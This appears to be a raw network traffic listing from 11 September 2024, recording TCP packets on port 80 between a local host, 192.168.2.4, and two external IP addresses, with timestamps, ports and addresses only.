Sep 11, 2024 16:22:18.764803886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764811993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764827013 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764834881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764848948 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764854908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764854908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764857054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764866114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764873028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764884949 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764884949 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.764957905 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764966011 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764990091 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.764997005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765003920 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765003920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765003920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765012980 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765028000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765034914 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765049934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765050888 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765050888 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765098095 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765098095 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765124083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765130997 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765146017 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765151978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765193939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765193939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765333891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765342951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765350103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765357971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765372992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765381098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765393972 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765402079 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765407085 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765407085 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765409946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765419006 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765453100 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765453100 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765481949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765490055 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765503883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765511036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765517950 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765527964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765527964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765536070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765542984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765552044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765561104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765575886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765599012 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765599012 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765640020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765649080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765687943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765687943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765784025 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765791893 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765809059 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765815973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765830994 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765839100 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765852928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765855074 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765855074 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765861034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765870094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765877008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765892982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765893936 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765893936 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765902042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765909910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765918016 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.765928984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765928984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765969992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.765969992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766004086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766011000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766025066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766056061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766071081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766122103 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766192913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766201973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766207933 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766216040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766231060 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766238928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766253948 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766258955 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766258955 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766262054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766278028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766285896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766299963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766309977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766309977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766329050 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766333103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766340971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766340971 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766349077 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766355991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766365051 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766371965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766396046 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766396046 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766417980 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766426086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766439915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766447067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766460896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766469002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766482115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766488075 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766488075 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766488075 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766489029 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766498089 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.766521931 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766521931 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.766583920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767056942 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767065048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767071962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767101049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767107964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767108917 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767108917 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767115116 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767123938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767143011 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767154932 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767246962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767255068 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767261982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767268896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767281055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767282963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767292023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767302990 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767306089 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767323971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767328024 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767329931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767339945 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767343998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767350912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767364979 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767365932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767373085 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767380953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767398119 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767417908 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767425060 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767431974 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767446041 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767451048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767473936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.767482042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.767497063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.767504930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.767505884 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767505884 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767510891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.767518044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.767529964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.767553091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.767559052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767565966 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767573118 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767605066 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.767635107 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.767640114 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767740011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767755985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767771006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767777920 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767791986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767798901 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767798901 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767807007 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767816067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767822981 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767833948 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767846107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767853975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767855883 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767879963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767884970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767893076 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767899990 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767906904 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767910004 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767915010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767915010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767925024 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767945051 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767951012 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767951965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767975092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767976046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767980099 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.767982960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767991066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.767997980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768006086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768007040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768028021 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768028975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768038988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768044949 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768053055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768068075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768070936 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768070936 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768085003 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768107891 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768142939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768150091 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768165112 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768172026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768187046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768188000 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768193960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768209934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768215895 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768232107 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768266916 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768275023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768290043 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768297911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768312931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768321037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768330097 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768330097 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768351078 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768382072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768389940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768404007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768412113 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768428087 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768434048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768441916 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768443108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768449068 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768456936 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768471003 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768472910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768481970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768492937 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768516064 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768517971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768527031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768533945 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768542051 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768551111 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768557072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768565893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.768578053 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.768603086 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.772711992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772720098 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772736073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772774935 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.772784948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772793055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772808075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772815943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772830963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772833109 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.772849083 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.772872925 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.772903919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772911072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772926092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772933960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772942066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772949934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.772950888 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.772975922 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.772993088 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773047924 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773053885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773068905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773088932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773089886 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773097038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773112059 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773119926 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773123980 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773128033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773154974 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773180962 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773211956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773220062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773233891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773257971 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773284912 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773312092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773319006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773334026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773341894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773355007 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773356915 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773381948 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773402929 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773423910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773431063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773444891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773452044 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773467064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773469925 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773474932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773494959 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.773504972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.773509026 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.776566029 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.777622938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.777631044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.777646065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.777689934 CEST	49736	80	192.168.2.4	176.113.115.33
